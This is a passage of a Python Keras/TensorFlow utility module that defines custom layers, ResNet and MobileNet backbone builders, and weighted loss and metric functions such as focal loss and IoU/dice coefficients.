3\n if self.data_format == 'channels_last':\n input_shape = (input_shape[0], input_shape[2], input_shape[1])\n KL.Dense.build(self, input_shape)\n steps_axis = 1 if self.data_format == 'channels_last' else -1\n self.input_spec = KL.InputSpec(ndim=3, axes={steps_axis: input_shape[-1]})\n self.built = True\n \n def call(self, inputs, training=None):\n if self.data_format == 'channels_last':\n x = K.permute_dimensions(inputs, (0, 2, 1))\n x = KL.Dense.call(self, x)\n x = KL.Dropout.call(self, x, training)\n return K.squeeze(x, axis=-1)\n \n def get_config(self):\n config = KL.Dense.get_config(self)\n config.update(KL.Dropout.get_config(self))\n return config\n \n def compute_output_shape(self, input_shape):\n if self.data_format == 'channels_first':\n return (input_shape[0], input_shape[1])\n else:\n return (input_shape[0], input_shape[2])\n\n\ndef GlobalPooling1D(method, dropout_rate=0., name=None):\n return {'ave': KL.GlobalAveragePooling1D(name=name),\n 'max': KL.GlobalMaxPooling1D(name=name),\n 'dense': GlobalDensePooling1D(name=name, dropout_rate=dropout_rate)}[method]\n\n\ndef Conv1DTranspose(filters, kernel_size, strides=1, padding='valid', \n output_padding=None, data_format=None, dilation_rate=1,\n activation=None, use_bias=True, kernel_initializer='glorot_uniform', \n bias_initializer='zeros', kernel_regularizer=None, bias_regularizer=None,\n activity_regularizer=None, kernel_constraint=None, bias_constraint=None, **kwargs):\n kernel_size = (1, kernel_size)\n strides = (1, strides)\n # output_padding = (0, output_padding) if output_padding is not None else None\n dilation_rate = (1, dilation_rate)\n layer = KL.Conv2DTranspose(filters, kernel_size, strides=strides, padding=padding,\n # output_padding=output_padding, \n data_format=data_format, \n dilation_rate=dilation_rate, activation=activation, \n use_bias=use_bias, kernel_initializer=kernel_initializer,\n bias_initializer=bias_initializer, kernel_regularizer=kernel_regularizer, \n bias_regularizer=bias_regularizer, activity_regularizer=activity_regularizer, \n kernel_constraint=kernel_constraint, bias_constraint=bias_constraint, **kwargs)\n \n def fn(x):\n x = ExpandDim(axis=1)(x)\n x = layer(x)\n return Squeeze(axis=1)(x)\n return fn\n\n\ndef Embed(vocab_size, embedding_dim, dropout_rate=0., merge=None, activation=None, name=None, **kwargs):\n def f(x):\n x = KL.Embedding(input_dim=vocab_size, output_dim=embedding_dim, \n name=x_name(name, 'embedding'), **kwargs)(x)\n if merge is not None:\n x = GlobalPooling1D(method=merge, name=x_name(name, merge + '_pooling'))(x)\n if activation is not None:\n x = KL.Activation(activation)(x)\n if dropout_rate > 0. and K.ndim(x) == 3:\n x = KL.SpatialDropout1D(rate=dropout_rate, name=x_name(name, 'pooling'))(x)\n return x\n return f\n\n\ndef ExpandDim(axis=-1, name=None):\n return KL.Lambda(lambda x: K.expand_dims(x, axis=axis), name=name)\n\n\ndef Squeeze(axis=-1, name=None):\n return KL.Lambda(lambda x: K.squeeze(x, axis=axis), name=name)\n\n\ndef Connect(method, units=None, filters=None, activation=None, dropout_rate=0.0, \n use_batch_norm=True, use_bn=None, bn_momentum=0.99, bn_epsilon=0.001,\n merge_method='film', merge=None, film_funcs=None, name=None, **kwargs):\n \"\"\" Build a conv/dense -> BN -> FiLM -> activation -> dropout block. \n method: the name of linear connection keras.layers: 'Conv2D', 'Conv1D', 'Dense', etc.\n or a function, keras.layers.Conv2D, etc.\n units/filters: the number of output channels (units in Dense, filters in Conv)\n use_batch_norm/use_bn: whether to add keras.layers.BatchNormalization\n activation: the activation function parsed to keras.layers.Activation\n dropout_rate: add keras.layers.Dropout(dropout_rate) if dropout_rate > 0.\n merge_method/merge: method to merge modulate vectors, add, multiply, concat, film\n film_funcs (optional): {'gamma': film_gamma_func, 'beta': film_beta_func}. \n each function takes (units, name) as inputs, and use modulate to adjust x.\n Default modulate=None, means no film is applied if only provide x.\n (See FiLM for details)\n name: the name of this block used to identify layers\n **kwargs: parameters for linear. \n common: use_bias = kwargs.setdefault('use_bias', True)\n kernel_initializer = kwargs.setdefault('kernel_initializer', 'he_normal')\n kernel_regularizer = kwargs.setdefault('kernel_regularizer', None)\n conv: kernel_size = kwargs.setdefault('kernel_size', (3, 3))\n strides = kwargs.setdefault('strides', (1, 1))\n padding = kwargs.setdefault('padding', 'same')\n dilation_rate = kwargs.setdefault('dilation_rate', (1, 1))\n \"\"\"\n ## treat alias names for units/filters, use_batch_norm/use_bn, merge_method/merge\n if units is None:\n units = filters\n if use_bn is not None:\n use_batch_norm = use_bn\n if merge is not None:\n merge_method = merge\n \n # Get connection layer functions\n if isinstance(method, str):\n method = {'Dense': KL.Dense, 'Conv1D': KL.Conv1D, 'SeparableConv1D': KL.SeparableConv1D, \n 'Conv1DTranspose': Conv1DTranspose, 'Conv2D': KL.Conv2D, 'SeparableConv2D': KL.SeparableConv2D, \n 'DepthwiseConv2D': KL.DepthwiseConv2D, 'Conv2DTranspose': KL.Conv2DTranspose, 'Conv3D': KL.Conv3D, \n 'Conv3DTranspose': KL.Conv3DTranspose, \n # 'UpSampling1D': KL.UpSampling1D, 'UpSampling2D': KL.UpSampling2D, 'UpSampling3D': KL.UpSampling3D, \n }[method]\n \n def f(x, modulate=None):\n c_name = x_name(name, re.split('\\d', method.__name__.lower())[0])\n x = method(units, name=c_name, **kwargs)(x)\n if use_batch_norm:\n x = KL.BatchNormalization(axis=-1, momentum=bn_momentum, epsilon=bn_epsilon, name=x_name(name, 'bn'))(x)\n if modulate is not None:\n if merge_method == 'film':\n x = FiLM(film_funcs['gamma'], film_funcs['beta'], name=x_name(name, 'film'))(x, modulate)\n elif merge_method == 'concat':\n x = Concat(name=x_name(name, 'concat'))([x, modulate])\n elif merge_method == 'add':\n x = Add(name=x_name(name, 'add'))([x, modulate])\n elif merge_method == 'multiply':\n x = Multiply(name=x_name(name, 'multiply'))([x, modulate])\n else:\n raise ValueError(\"%s is not a supported merge_method\" % merge_method)\n if activation is not None:\n c_name = x_name(name, (activation if isinstance(activation, str) else 'activation'))\n x = KL.Activation(activation, name=c_name)(x)\n if dropout_rate and dropout_rate > 0.:\n x = KL.Dropout(dropout_rate, name=x_name(name, 'dropout'))(x) \n return x\n\n return f\n\n\ndef VAE_Sampler(connect, name=None):\n def _sampler(args):\n z_mean, z_log_sigma = args\n shape = K.shape(z_mean)\n epsilon = K.random_normal(shape=shape, mean=0., stddev=1.0)\n return z_mean + K.exp(z_log_sigma) * epsilon\n \n def fn(x):\n z_mean = Unamed(connect, name=x_name(name, 'mean'))(x)\n z_log_sigma = Unamed(connect, name=x_name(name, 'log_sigma'))(x)\n # batch_size = K.shape(z_mean)[0]\n # latent_dim = K.int_shape(z_mean)[1]\n z = KL.Lambda(_sampler, name=x_name(name, 'sampler'))([z_mean, z_log_sigma])\n return z, z_mean, z_log_sigma\n return fn\n\n\nclass InstanceNormalization(KL.Layer):\n \"\"\"Instance normalization layer.\n Normalize the activations of the previous layer at each step,\n i.e. applies a transformation that maintains the mean activation\n close to 0 and the activation standard deviation close to 1.\n # Arguments\n axis: Integer, the axis that should be normalized\n (typically the features axis).\n For instance, after a `Conv2D` layer with\n `data_format=\"channels_first\"`,\n set `axis=1` in `InstanceNormalization`.\n Setting `axis=None` will normalize all values in each\n instance of the batch.\n Axis 0 is the batch dimension. `axis` cannot be set to 0 to avoid errors.\n epsilon: Small float added to variance to avoid dividing by zero.\n center: If True, add offset of `beta` to normalized tensor.\n If False, `beta` is ignored.\n scale: If True, multiply by `gamma`.\n If False, `gamma` is not used.\n When the next layer is linear (also e.g. `nn.relu`),\n this can be disabled since the scaling\n will be done by the next layer.\n beta_initializer: Initializer for the beta weight.\n gamma_initializer: Initializer for the gamma weight.\n beta_regularizer: Optional regularizer for the beta weight.\n gamma_regularizer: Optional regularizer for the gamma weight.\n beta_constraint: Optional constraint for the beta weight.\n gamma_constraint: Optional constraint for the gamma weight.\n # Input shape\n Arbitrary. Use the keyword argument `input_shape`\n (tuple of integers, does not include the samples axis)\n when using this layer as the first layer in a Sequential model.\n # Output shape\n Same shape as input.\n # References\n - [Layer Normalization](https://arxiv.org/abs/1607.06450)\n - [Instance Normalization: The Missing Ingredient for Fast Stylization](\n https://arxiv.org/abs/1607.08022)\n \"\"\"\n def __init__(self,\n axis=None,\n epsilon=1e-3,\n center=True,\n scale=True,\n beta_initializer='zeros',\n gamma_initializer='ones',\n beta_regularizer=None,\n gamma_regularizer=None,\n beta_constraint=None,\n gamma_constraint=None,\n **kwargs):\n super(InstanceNormalization, self).__init__(**kwargs)\n self.supports_masking = True\n self.axis = axis\n self.epsilon = epsilon\n self.center = center\n self.scale = scale\n self.beta_initializer = keras.initializers.get(beta_initializer)\n self.gamma_initializer = keras.initializers.get(gamma_initializer)\n self.beta_regularizer = keras.regularizers.get(beta_regularizer)\n self.gamma_regularizer = keras.regularizers.get(gamma_regularizer)\n self.beta_constraint = keras.constraints.get(beta_constraint)\n self.gamma_constraint = keras.constraints.get(gamma_constraint)\n\n def build(self, input_shape):\n ndim = len(input_shape)\n if self.axis == 0:\n raise ValueError('Axis cannot be zero')\n\n if (self.axis is not None) and (ndim == 2):\n raise ValueError('Cannot specify axis for rank 1 tensor')\n\n self.input_spec = KL.InputSpec(ndim=ndim)\n\n if self.axis is None:\n shape = (1,)\n else:\n shape = (input_shape[self.axis],)\n\n if self.scale:\n self.gamma = self.add_weight(shape=shape,\n name='gamma',\n initializer=self.gamma_initializer,\n regularizer=self.gamma_regularizer,\n constraint=self.gamma_constraint)\n else:\n self.gamma = None\n if self.center:\n self.beta = self.add_weight(shape=shape,\n name='beta',\n initializer=self.beta_initializer,\n regularizer=self.beta_regularizer,\n constraint=self.beta_constraint)\n else:\n self.beta = None\n self.built = True\n\n def call(self, inputs, training=None):\n input_shape = K.int_shape(inputs)\n reduction_axes = list(range(0, len(input_shape)))\n\n if self.axis is not None:\n del reduction_axes[self.axis]\n\n del reduction_axes[0]\n\n mean = K.mean(inputs, reduction_axes, keepdims=True)\n stddev = K.std(inputs, reduction_axes, keepdims=True) + self.epsilon\n normed = (inputs - mean) / stddev\n\n broadcast_shape = [1] * len(input_shape)\n if self.axis is not None:\n broadcast_shape[self.axis] = input_shape[self.axis]\n\n if self.scale:\n broadcast_gamma = K.reshape(self.gamma, broadcast_shape)\n normed = normed * broadcast_gamma\n if self.center:\n broadcast_beta = K.reshape(self.beta, broadcast_shape)\n normed = normed + broadcast_beta\n return normed\n\n def get_config(self):\n config = {\n 'axis': self.axis,\n 'epsilon': self.epsilon,\n 'center': self.center,\n 'scale': self.scale,\n 'beta_initializer': keras.initializers.serialize(self.beta_initializer),\n 'gamma_initializer': keras.initializers.serialize(self.gamma_initializer),\n 'beta_regularizer': keras.regularizers.serialize(self.beta_regularizer),\n 'gamma_regularizer': keras.regularizers.serialize(self.gamma_regularizer),\n 'beta_constraint': keras.constraints.serialize(self.beta_constraint),\n 'gamma_constraint': keras.constraints.serialize(self.gamma_constraint)\n }\n base_config = super(InstanceNormalization, self).get_config()\n return dict(list(base_config.items()) + list(config.items()))\n\n\ndef regularizer(inputs):\n if inputs is not None:\n l1 = inputs.setdefault('l1', None)\n l2 = inputs.setdefault('l2', None)\n if l1 is None and l2 is None:\n return None\n elif l1 is None:\n return keras.regularizers.l2(l2)\n elif l2 is None:\n return keras.regularizers.l1(l1)\n else:\n return keras.regularizers.l1_l2(l1=l1, l2=l2)\n\n######################################################\n################# ResNet Architect #################\n######################################################\ndef resnet_block1(units, method='Conv2D', kernel=3, strides=1, conv_shortcut=True, dropout_rate=0., name=None):\n if conv_shortcut:\n shortcut = ('0', 0, 'Connect', {'method': method, 'units': units * 4, 'kernel_size': 1, \n 'activation': None, 'strides': strides, 'padding': 'same', \n 'dropout_rate': dropout_rate})\n else:\n shortcut = ('0', 0)\n \n config = [\n ('1', 0, 'Connect', {'method': method, 'units': units, 'kernel_size': 1, 'activation': 'relu', \n 'strides': strides, 'padding': 'same', 'dropout_rate': dropout_rate}),\n ('2', 1, 'Connect', {'method': method, 'units': units, 'kernel_size': kernel, 'activation': 'relu', \n 'strides': 1, 'padding': 'same', 'dropout_rate': dropout_rate}),\n ('3', 2, 'Connect', {'method': method, 'units': units * 4, 'kernel_size': 1, 'activation': None, \n 'strides': 1, 'padding': 'same', 'dropout_rate': dropout_rate}),\n shortcut,\n ('add', [-2, -1], 'Add', {}),\n ('out', -1, 'Activation', {'activation': 'relu'}),\n ]\n return Unamed(config, name=name)\n\n\ndef resnet_stack1(method, units, kernel, blocks, stride1=2, dropout_rate=0., name=None):\n assert blocks > 0\n pars_1 = {'method': method, 'units': units, 'kernel': kernel, \n 'strides': stride1, 'dropout_rate': dropout_rate}\n pars_2 = {'method': method, 'units': units, 'kernel': kernel, \n 'conv_shortcut': False, 'dropout_rate': dropout_rate}\n config = ([('block1', 0, 'resnet_block1', pars_1)] + \n [('block%d' % (i+1), i, 'resnet_block1', pars_2) for i in range(1, blocks)])\n return Unamed(config, name=name)\n\n\n# ## TODO: add resnext\n# def stack_fn_resnext101(x):\n# x = stack3(x, 128, 3, stride1=1, name='conv2')\n# x = stack3(x, 256, 4, name='conv3')\n# x = stack3(x, 512, 23, name='conv4')\n# x = stack3(x, 1024, 3, name='conv5')\ndef resnet(architecture='resnet50', method='Conv2D', kernel=3, dropout_rate=0., \n return_indices=-1, preact_layers='default', name=None):\n if isinstance(architecture, str):\n assert architecture in ['resnet50', 'resnet101', 'resnet152', 'resnext50', 'resnext101']\n stack, N, _ = re.split(r'(\\d+)', architecture)\n stack_f = {'resnet': 'resnet_stack1', 'resnext': 'resnet_stack2'}[stack]\n blocks = {'50': [3, 4, 6, 3], '101': [3, 4, 23, 3], '152': [3, 8, 36, 3]}[N]\n filters = {'resnet': [64, 128, 256, 512], 'resnext': [128, 256, 512, 1024]}[stack]\n strides = [1, 2, 2, 2]\n else:\n stack_f, blocks, filters, strides = architecture\n \n ## Default first block\n if preact_layers == 'default':\n pooling = {\"Conv2D\": 'MaxPooling2D', \"Conv1D\": 'MaxPooling1D'}[method]\n f1, s1_kernel, s1_strides, s1_pool_size, s1_padding = [filters[0], 7, 1, 2, 'same']\n preact_layers = [\n ('conv1', 0, 'Connect', {'method': method, 'units': f1, 'kernel_size': s1_kernel, 'activation': 'relu', \n 'strides': s1_strides, 'padding': s1_padding, 'dropout_rate': dropout_rate}),\n ('pool1', 1, pooling, {'pool_size': s1_pool_size, 'padding': 'same'}),\n ]\n \n def f(inputs):\n res = [Unamed(preact_layers, name=name)(inputs)]\n for i, (f, c, s) in enumerate(zip(filters, blocks, strides), 2):\n pars = {'method': method, 'units': f, 'kernel': kernel, 'blocks': c, \n 'stride1': s, 'dropout_rate': dropout_rate}\n config = [('conv%s' % i, 0, stack_f, pars)]\n res.append(Unamed(config, name=name)(res[-1]))\n if return_indices == 'all' or return_indices is None:\n return res\n elif isinstance(return_indices, list):\n return [res[_] for _ in return_indices]\n else:\n return res[return_indices]\n return f\n\n######################################################\n################ MobileNet Architect ###############\n######################################################\n## keras.activations.relu doesn't have threshold args in 2.1.6\nrelu6 = lambda x: keras.activations.relu(x, alpha=0.0, max_value=6) #, threshold=0.0)\n\n## A copy from https://github.com/keras-team/keras-applications/blob/dc1416f329cb7fd3639b8fbc3fec01a0b74cded3/keras_applications/mobilenet.py\n## Personally I don't like the Pad_Layer + padding=\"valid\" style. So use padding='same'\n\ndef mobilenet_conv_block(inputs, filters, alpha, kernel=(3, 3), strides=(1, 1), block_id=1):\n channel_axis = 1 if K.image_data_format() == 'channels_first' else -1\n filters = int(filters * alpha)\n x = Conv2D(filters, kernel,\n padding='same',\n use_bias=False,\n strides=strides,\n name='conv%s' % block_id)(inputs)\n x = BatchNormalization(axis=channel_axis, name='conv%s_bn' % block_id)(x)\n x = Activation(relu6, name='conv%s_relu' % block_id)(x)\n # x = ReLU(6., name='conv%s_relu' % block_id)(x)\n \n return x\n\ndef mobilenet_depthwise_conv_block(inputs, pointwise_conv_filters, alpha,\n depth_multiplier=1, strides=(1, 1), block_id=1):\n channel_axis = 1 if K.image_data_format() == 'channels_first' else -1\n pointwise_conv_filters = int(pointwise_conv_filters * alpha)\n\n x = DepthwiseConv2D((3, 3),\n padding='same',\n depth_multiplier=depth_multiplier,\n strides=strides,\n use_bias=False,\n name='conv_dw_%s' % block_id)(inputs)\n x = BatchNormalization(axis=channel_axis, name='conv_dw_%s_bn' % block_id)(x)\n x = Activation(relu6, name='conv_dw_%s_relu' % block_id)(x)\n # x = ReLU(6., name='conv_dw_%s_relu' % block_id)(x)\n\n x = Conv2D(pointwise_conv_filters, (1, 1),\n padding='same',\n use_bias=False,\n strides=(1, 1),\n name='conv_pw_%s' % block_id)(x)\n x = BatchNormalization(axis=channel_axis, name='conv_pw_%s_bn' % block_id)(x)\n x = Activation(relu6, name='conv_pw_%s_relu' % block_id)(x)\n # x = ReLU(6., name='conv_pw_%s_relu' % block_id)(x)\n \n return x\n\n## No top layers and no dropout\ndef mobilenet(architecture='mobilenet', return_indices=-1, name=None):\n if isinstance(architecture, str):\n assert architecture in ['mobilenet', 'mobilenetv2']\n filters = {'mobilenet': [32, 64, 128, 256, 512, 1024]}[architecture]\n alpha = {'mobilenet': 1.0}[architecture]\n depth_multiplier = {'mobilenet': 1}[architecture]\n else:\n filters, alpha, depth_multiplier = architecture\n \n def f(x):\n img_input = x\n \n ## make the layer name consistent with official model. (Easy loading pretrained model.\n b00 = mobilenet_conv_block(img_input, filters[0], alpha, strides=(2, 2), block_id=1)\n b01 = mobilenet_depthwise_conv_block(b00, filters[1], alpha, depth_multiplier, block_id=1)\n \n b02 = mobilenet_depthwise_conv_block(b01, filters[2], alpha, depth_multiplier, block_id=2, strides=(2, 2))\n b03 = mobilenet_depthwise_conv_block(b02, filters[2], alpha, depth_multiplier, block_id=3)\n\n b04 = mobilenet_depthwise_conv_block(b03, filters[3], alpha, depth_multiplier, block_id=4, strides=(2, 2))\n b05 = mobilenet_depthwise_conv_block(b04, filters[3], alpha, depth_multiplier, block_id=5)\n\n b06 = mobilenet_depthwise_conv_block(b05, filters[4], alpha, depth_multiplier, block_id=6, strides=(2, 2))\n b07 = mobilenet_depthwise_conv_block(b06, filters[4], alpha, depth_multiplier, block_id=7)\n b08 = mobilenet_depthwise_conv_block(b07, filters[4], alpha, depth_multiplier, block_id=8)\n b09 = mobilenet_depthwise_conv_block(b08, filters[4], alpha, depth_multiplier, block_id=9)\n b10 = mobilenet_depthwise_conv_block(b09, filters[4], alpha, depth_multiplier, block_id=10)\n b11 = mobilenet_depthwise_conv_block(b10, filters[4], alpha, depth_multiplier, block_id=11)\n\n b12 = mobilenet_depthwise_conv_block(b11, filters[5], alpha, depth_multiplier, block_id=12, strides=(2, 2))\n b13 = mobilenet_depthwise_conv_block(b12, filters[5], alpha, depth_multiplier, block_id=13)\n \n res = [b00, b01, b03, b05, b11, b13]\n if return_indices == 'all': \n return res\n elif return_indices is None:\n return res[1:]\n elif isinstance(return_indices, list):\n return [res[_] for _ in return_indices]\n else:\n return res[return_indices]\n return f\n\n## Some backbones in keras_applications\n## TODO: add support to feature layers\ndef keras_applications_backbone(model_type, architecture, weights=None, **kwargs):\n \"\"\" Get latest keras_applications builtin models. \n Keras applications updates sota backbones much faster than keras and tf.keras.\n We only need to update/replace this folder: \n /ml_env/lib/python3.x/site-packages/keras_applications/\n and then use the following to get the sota models.\n \n model_type: model type (in __init__.py)\n architecture: subtype.\n keras_applications.model_type.architecture\n weights: 'imagenet', None\n \"\"\"\n import keras_applications\n ## keras is already specified as keras or tensorflow.keras\n # keras_applications._KERAS_BACKEND = keras.backend\n # keras_applications._KERAS_LAYERS = keras.layers\n # keras_applications._KERAS_MODELS = keras.models\n # keras_applications._KERAS_UTILS = keras.utils\n \n backbone = getattr(getattr(keras_applications, model_type), architecture)\n \n def f(x):\n base_model = backbone(\n input_tensor=x, weights=None, include_top=False, \n backend=keras.backend, layers=keras.layers, \n models=keras.models, utils=keras.utils, **kwargs)\n weights_path = weights\n if weights_path == 'imagenet':\n weights_path = os.path.join('pretrained_model', WEIGHTS[model_type][architecture])\n if weights_path is not None:\n base_model.load_weights(weights_path, by_name=True, skip_mismatch=True)\n \n return [base_model.output]\n return f\n\n######################################################\n################# Loss and Metrics #################\n######################################################\n\ndef pearson_correlation_coefficient(y_true, y_pred):\n y_true = K.cast(y_true, K.dtype(y_pred))\n x = y_true - K.mean(y_true)\n y = y_pred - K.mean(y_pred)\n return K.sum(x * y) / (K.sqrt(K.sum(K.square(x)) * K.sum(K.square(y))) + K.epsilon())\n\n\ndef r_square(y_true, y_pred):\n SS_res = K.sum(K.square(y_pred - y_true)) \n SS_tot = K.sum(K.square(y_true - K.mean(y_true))) \n return (1 - SS_res/(SS_tot + K.epsilon()))\n\n\ndef precision(y_true, y_pred, from_softmax=False):\n if from_softmax:\n y_true = tf.argmax(y_true, axis=-1)\n y_pred = tf.argmax(y_pred, axis=-1)\n else:\n y_true = K.round(K.clip(y_true, 0.0, 1.0))\n y_pred = K.round(K.clip(y_pred, 0.0, 1.0))\n \n y_true_f = K.flatten(tf.cast(y_true, tf.float32))\n y_pred_f = K.flatten(tf.cast(y_pred, tf.float32))\n\n true_positives = K.sum(K.round(K.clip(y_true_f * y_pred_f, 0, 1)))\n predicted_positives = K.sum(K.round(K.clip(y_pred_f, 0, 1)))\n\n return true_positives / (predicted_positives + K.epsilon())\n\n\ndef recall(y_true, y_pred, from_softmax=False):\n if from_softmax:\n y_true = tf.argmax(y_true, axis=-1)\n y_pred = tf.argmax(y_pred, axis=-1)\n else:\n y_true = K.round(K.clip(y_true, 0.0, 1.0))\n y_pred = K.round(K.clip(y_pred, 0.0, 1.0))\n \n y_true_f = K.flatten(tf.cast(y_true, tf.float32))\n y_pred_f = K.flatten(tf.cast(y_pred, tf.float32))\n\n true_positives = K.sum(K.round(K.clip(y_true_f * y_pred_f, 0, 1)))\n possible_positives = K.sum(K.round(K.clip(y_true_f, 0, 1)))\n\n return true_positives / (possible_positives + K.epsilon())\n\n\ndef f1_score(y_true, y_pred):\n return 2. / (1. / recall(y_true, y_pred) + 1. / precision(y_true, y_pred))\n\n\ndef _transform_target(target, output, axis=-1):\n \"\"\" Transform (sparse) target to match output. \"\"\"\n N_classes = output.shape[axis]\n dtype = output.dtype.base_dtype\n \n is_sparse = K.ndim(target) != K.ndim(output)\n if is_sparse:\n ## squeeze target if last dimension is 1\n if len(target.shape) == len(output.shape) and target.shape[axis] == 1:\n target = K.squeeze(target, axis=axis)\n ## transfer to one hot tensor (ignore negative values)\n target = tf.one_hot(indices=K.cast(target, dtype=tf.int32), \n depth=N_classes, dtype=dtype, axis=axis)\n else:\n target = tf.cast(target, dtype)\n \n return target\n\n\ndef _apply_class_weights(x, class_weights=None, axis=-1):\n \"\"\" Apply class_weights, ignore nan. \"\"\"\n # N_classes = K.int_shape(x)[axis]\n dtype = x.dtype.base_dtype\n \n if class_weights is None:\n class_weights = tf.ones(tf.shape(x)[axis], dtype=dtype)\n else:\n # assert len(class_weights) == N_classes, \"class_weights do not match output\"\n # class_weights = K.constant(config.CLASS_WEIGHTS, dtype=K.floatx())\n class_weights = tf.convert_to_tensor(class_weights, dtype=dtype)\n \n ## remove nan\n class_weights = tf.cast(tf.logical_not(tf.is_nan(x)), dtype) * class_weights\n \n return x * class_weights / tf.reduce_sum(class_weights, axis=axis, keepdims=True)\n # return x * (class_weights / K.sum(class_weights))\n\n\n# def _apply_class_weights(x, class_weights=None, axis=-1):\n# \"\"\" Apply class_weights, ignore nan. \"\"\"\n# # N_classes = K.int_shape(x)[axis]\n# dtype = x.dtype.base_dtype\n \n# if class_weights is None:\n# class_weights = tf.ones(tf.shape(x)[axis], dtype=dtype)\n# else:\n# # assert len(class_weights) == N_classes, \"class_weights do not match output\"\n# # class_weights = K.constant(config.CLASS_WEIGHTS, dtype=K.floatx())\n# class_weights = tf.convert_to_tensor(class_weights, dtype=dtype)\n \n# ## remove nan\n# valid_entry = tf.cast(tf.logical_not(tf.is_nan(x)), dtype)\n# class_score = valid_entry * class_weights\n# ## w[i] = w[i] * N/sum(w)\n# weights_map = class_score * tf.reduce_sum(valid_entry, axis=axis, keepdims=True)/tf.reduce_sum(class_score, axis=axis, keepdims=True)\n \n# return x * weights_map\n# # return x * (class_weights / K.sum(class_weights))\n\n\ndef categorical_crossentropy(target, output, from_logits=False, class_weights=None, axis=-1):\n \"\"\" (weighted) categorical crossentropy\n Args:\n target: can be either a dense one-hot tensor or a sparse label tensor.\n output: logits or probabilities after softmax.\n from_logits: whether output is logits or probabilities\n Return: a tensor with same shape as output without last dimension\n -0: target don't have valid label.\n \"\"\"\n target = _transform_target(target, output, axis=axis)\n target = _apply_class_weights(target, class_weights, axis=axis)\n \n return K.categorical_crossentropy(target, output, from_logits=from_logits, axis=axis)\n\n\ndef categorical_focal_loss(target, output, gamma=2., class_weights=None, from_logits=False, axis=-1):\n dtype = output.dtype.base_dtype\n output /= K.sum(output, axis=-1, keepdims=True)\n epsilon = K.epsilon()\n output = K.clip(output, epsilon, 1. - epsilon)\n \n if class_weights is None:\n class_weights = tf.ones(tf.shape(target)[axis], dtype=dtype)\n else:\n class_weights = tf.convert_to_tensor(class_weights, dtype=dtype)\n \n target = target * class_weights\n return -K.sum(target * K.pow(1 - output, gamma) * K.log(output), axis=-1)\n\n# class_weights = alpha * K.pow(1 - prob, gamma)\n# target = _transform_target(target, output, axis=axis) * class_weights\n# # target = _apply_class_weights(target, class_weights, axis=axis)\n \n# return K.categorical_crossentropy(target, output, from_logits=False, axis=axis)\n\n\ndef categorical_score_map(target, output, class_weights=None, axis=-1):\n \"\"\" (weighted) categorical accuracy. \n Args:\n target: can be either a dense one-hot tensor or a sparse label tensor.\n output: logits or probabilities after softmax.\n \n Return: a tensor with same shape as output without last dimension.\n positive: label is correct, [1, 0, 0, 0], [0.5, 0, 0, 0,] -> +0.5\n negative: label is incorrect, [1, 0, 0, 0], [0, 0.5, 0, 0,] -> -0.5\n 0: label is ignored. [1, 0, 0, 0], [0, 0, 0, 0] -> +/-0\n \n Example:\n res = categorical_crossentropy(target, output, class_weights=class_weights)\n acc = K.sum(K.clip(res, min_value=0., max_value=None))/K.sum(K.abs(res))\n \"\"\"\n target = _transform_target(target, output, axis=axis)\n target = _apply_class_weights(target, class_weights, axis=axis)\n \n index = tf.equal(tf.argmax(target, axis=axis), tf.argmax(output, axis=axis))\n score_map = tf.reduce_sum(target, axis=axis)\n \n return tf.where(index, score_map, -score_map)\n\n\ndef categorical_accuracy(target, output, class_weights=None, axis=-1):\n score_map = categorical_score_map(target, output, class_weights=class_weights, axis=-1)\n return K.sum(K.clip(score_map, min_value=0., max_value=None))/K.sum(K.abs(score_map))\n\n\ndef iou_coef(target, output, mode='iou', from_logits=False, \n class_weights=None, binary=False, axis=-1):\n \"\"\" Calculate (soft) iou/dice coefficient for y_true ad y_pred\n target: [batch_size, h, w, N_classes]\n output: [batch_size, h, w, N_classes]\n \n Return: iou/dice coefficient for each classes. [batch_size, N_classes]\n Apply weight to each classes, use 0 to ignor background\n weights = tf.convert_to_tensor([0, ...], dice_coef.dtype.base_dtype)\n dice_coef *= weights / tf.reduce_sum(weights)\n \"\"\"\n y_true = _transform_target(target, output, axis=axis)\n y_pred = K.softmax(output, axis=axis) if from_logits else output\n \n if binary:\n N_classes = y_pred.shape[axis]\n y_true = tf.one_hot(K.argmax(y_true, axis=axis), depth=N_classes, axis=axis)\n y_pred = tf.one_hot(K.argmax(y_pred, axis=axis), depth=N_classes, axis=axis)\n \n sum_axis = list(range(1, K.ndim(y_pred)))\n del sum_axis[axis]\n \n intersect = K.sum(y_true * y_pred, axis=sum_axis)\n union = K.sum(y_true + y_pred, axis=sum_axis) - intersect\n \n ## We allow nan in res to let apply_class_weights indentify 0/0 case\n if mode == 'dice':\n res = 2.0 * intersect/(union + intersect) # + K.epsilon())\n elif mode == 'iou':\n res = 1.0 * intersect/(union) # + K.epsilon())\n else:\n raise ValueError(\"mode=%s is not supported!\" % mode)\n \n ## Apply weights and give 0 weights to nan\n res = _apply_class_weights(res, class_weights, axis=-1)\n \n ## Remove nan from res after apply weights\n res = tf.where(tf.is_nan(res), tf.zeros_like(res), res)\n \n return res\n\n######################################################\n## define some alias for loss and metrics, compliment default keras alias\n######################################################\n\nLOSS_METRIC_ALIAS = {\n 'cross_entropy': (K.categorical_crossentropy, {'from_logits': False, 'axis': -1}),\n 'w_cent': (categorical_crossentropy, {'from_logits': False, 'class_weights': None, 'axis': -1}),\n 'acc': (keras.metrics.categorical_accuracy, {}),\n 'w_acc': (categorical_accuracy, {'class_weights': None, 'axis': -1}),\n 'coef': (pearson_correlation_coefficient, {}),\n 'soft_iou': (iou_coef, {'mode': 'iou', 'from_logits': False, 'class_weights': None, 'binary': False, 'axis': -1}),\n 'soft_dice': (iou_coef, {'mode': 'dice', 'from_logits': False, 'class_weights': None, 'binary': False, 'axis': -1}),\n 'iou': (iou_coef, {'mode': 'iou', 'from_logits': False, 'class_weights': None, 'binary': True, 'axis': -1}),\n 'dice': (iou_coef, {'mode': 'dice', 'from_logits': False, 'class_weights': None, 'binary': True, 'axis': -1}),\n 'focal': (categorical_focal_loss, {'gamma': 2., 'class_weights': None, 'from_logits': False, 'axis': -1}),\n}\n\n\ndef get_loss_fn(cfg):\n if callable(cfg):\n return cfg\n \n if isinstance(cfg, str): # cfg is a str with no extra parameters:\n fn_name, fn_pars = cfg, {}\n else: # cfg is a tuple with (fn_name, fn_kwargs)\n fn_name, fn_pars = cfg\n \n if fn_name in LOSS_METRIC_ALIAS:\n fn, default_pars = LOSS_METRIC_ALIAS[fn_name]\n fn_pars = {**default_pars, **fn_pars}\n else:\n try: # search current_module for matched functions\n fn = getattr(current_module, fn_name)\n except: # search keras.losses for matched functions\n fn = getattr(keras.losses, fn_name)\n \n res = partial(fn, **fn_pars)\n res.__name__ = 